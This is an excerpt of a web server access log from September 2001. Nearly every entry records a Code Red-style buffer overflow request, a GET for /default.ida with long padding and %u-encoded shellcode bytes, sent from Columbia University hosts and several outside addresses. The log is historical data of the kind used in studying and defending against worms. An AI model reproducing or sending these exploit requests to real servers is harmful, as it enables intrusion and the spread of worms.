  1564. 20010915 09:42:45: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1565. 20010915 10:40:16: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1566. 20010915 10:51:54: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1567. 20010915 15:12:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1568. 20010915 15:58:13: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1569. 20010915 16:24:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1570. 20010915 16:40:56: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1571. 20010915 17:44:09: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1572. 20010915 18:53:25: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1573. 20010915 19:35:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1574. 20010915 20:02:03: dialup-ccts5-173.cc.columbia.edu [128.59.6.182] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1575. 20010915 20:31:34: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1576. 20010915 21:17:40: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1577. 20010915 21:22:24: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1578. 20010915 21:23:10: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1579. 20010915 21:37:44: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1580. 20010915 21:47:35:  [202.101.127.12] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1581. 20010916 00:23:20:  [61.77.227.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1582. 20010916 01:18:33:  [212.25.79.242] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1583. 20010916 01:22:05: dialup-cc3-1.cc.columbia.edu [128.59.42.106] ""
  1584. 20010916 02:20:46: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1585. 20010916 03:03:23: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1586. 20010916 03:22:41: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1587. 20010916 05:37:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1588. 20010916 05:44:35: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1589. 20010916 05:49:35: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1590. 20010916 06:51:49: luis.inag.pt [193.136.235.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1591. 20010916 07:08:17: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1592. 20010916 08:42:25: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1593. 20010916 08:56:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1594. 20010916 09:09:21: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1595. 20010916 10:13:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1596. 20010916 10:26:08: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1597. 20010916 10:29:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1598. 20010916 10:32:33: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1599. 20010916 11:51:30: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1600. 20010916 11:57:43: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1601. 20010916 13:05:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1602. 20010916 13:09:22: dialup-cc1-21.cc.columbia.edu [128.59.58.30] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1603. 20010916 13:16:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
